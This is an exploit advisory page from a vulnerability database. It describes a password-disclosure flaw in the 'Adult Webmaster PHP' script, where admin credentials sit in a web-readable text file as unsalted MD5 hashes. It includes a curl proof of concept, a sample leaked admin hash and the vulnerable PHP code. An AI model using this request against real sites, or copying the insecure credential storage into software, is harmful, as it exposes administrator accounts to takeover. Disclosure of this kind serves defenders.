Lucene search
K

Adult Webmaster PHP - Password Disclosure Vulnerbility

🗓️ 23 Jan 2014 00:00:00Reported by vinicius777Type 
zdt
 zdt
🔗 0day.today👁 20 Views

Adult Webmaster PHP Password Disclosure Vulnerabilit

Code
##########################################################################
[+] Exploit:Adult Webmaster PHP - Password Disclosure                    #
[+] Author: vinicius777                                  #
[+] Email/Twitter: vinicius777 [AT] gmail  @vinicius777_                 #                  
[+] Vendor Homepage: http://sourceforge.net/projects/adultweb/       #
##########################################################################
 
  
[1] Administrative Credential Disclosure
 
PoC:
 
[email protected]:/# curl http://localhost/home/caspers/public_html/demo/admin/userpwdadfasdfre.txt
 
admin:3a4ebf16a4795ad258e5408bae7be341
 
#
 
Vulnerable Code:
[+] admin/common.php
 
        // Check user existance
        $pfile = fopen("userpwdadfasdfre.txt","a+");
    rewind($pfile);
 
    while (!feof($pfile)) {
        $line = fgets($pfile);
        $tmp = explode(':', $line);
        if ($tmp[0] == $user) {
            $errorText = "The selected user name is taken!";
            break;
        }
    }
 
    // If everything is OK -> store user data
    if ($errorText == ''){
                // Secure password string
                $userpass = md5($pass1);
 
                fwrite($pfile, "\r\n$user:$userpass");
    }
 
    fclose($pfile);
  
 
#
#
# Greetz to g0tm1lk and TheColonial.

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation